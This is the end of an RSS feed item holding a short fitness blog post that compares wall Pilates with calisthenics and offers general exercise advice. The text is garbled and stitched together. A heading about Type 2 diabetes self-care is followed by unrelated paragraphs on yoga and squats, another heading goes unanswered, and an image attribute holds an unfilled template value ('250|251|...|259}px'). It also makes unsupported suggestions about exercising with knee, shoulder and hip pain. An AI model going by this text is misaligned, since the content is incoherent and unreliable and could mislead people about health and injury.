<p>Both target the deep stabilising muscles of the core, lower back, and pelvis. They also both work the arms, shoulders, chest, back, and legs – although the training style is different. Wall Pilates stands out as one of the most adaptable and versatile workout regimens, aligning well with beginner and advanced fitness goals alike. Whether you’re aiming to build strength, enhance flexibility, or support recovery, the wall’s resistance and stability make it an ideal resource. If you are currently suffering from low-level knee, shoulder, and hip pain, then calisthenics and wall pilates can be beneficial for strengthening the muscles surrounding the joint. However, as the severity of injury increases, the gentle approach of wall Pilates may be more suitable.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="pilates vs calisthenics" src="https://www.a4fitness.com/wp-content/uploads/2023/10/b62ccb84cba05b9693022f4cd1e66f56.jpg"/></p>
<h3>What type of exercise is Pilates considered?</h3>
<p>For step-by-step guidance on advanced maneuvers, visit Progressive Wall Pilates Challenges to push your limits safely while enjoying visible results. We recommend trying both and selecting the one that matches you. This will help you stick to your training, leading to long-term results.</p>
<h3>Self-Care Tips for People With Type 2 Diabetes</h3>
<p>Vinyasa yoga incorporates quick movements from one pose to the next, focusing on the connection of mind, body and breath. Conversely, yoga nidra involves no movement at all in a deep, meditative practice and often takes place at the end of a yoga session. Squats are a fundamental lower body exercise that targets the quadriceps, hamstrings, glutes, and lower back. Bodyweight squats are a great way to build leg strength and mobility.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://psp-wp-test.objectsdev.com/is-pilates-better-than-weightlifting-know-here/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>